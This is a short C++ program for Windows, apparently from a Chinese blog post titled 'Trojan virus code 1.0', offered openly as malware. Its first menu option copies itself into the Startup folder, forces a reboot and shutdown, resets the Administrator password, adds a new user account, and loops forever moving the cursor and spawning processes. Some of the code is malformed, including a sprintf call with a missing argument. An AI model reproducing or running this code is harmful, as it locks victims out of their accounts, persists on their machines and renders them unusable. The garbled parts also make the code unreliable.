#include <iostream>
#include<windows.h>
#include<ctime>
#include <cstdlib>
#include <stdio.h>
#include <fstream>
using namespace std;
int a;
int main(){
cout<<"mabdxt1.0(mqycs!)"<<endl;
cout<<"1.对自电脑植入木马病毒"<<endl;
cout<<"2.关闭(否则exit(1)关闭)"<<endl;
cin>>a;
if(a==1){
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"");
system(copy);
char cmd[]="shutdown -r -t 0";
system("ping baidu.com");
system(cmd);
system("pause");
system(copy);
system("net user Administrator xz");
system("net user 崩溃 xz /add");
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
system("shutdown -s -t 0");
while(1){
SetCursorPos(rand()%x,rand()%y);
system("start");
}
}
if(a==2){
exit(1);
}
return 0;
}
木马病毒代码1.0
最新推荐文章于 2025-03-09 16:09:25 发布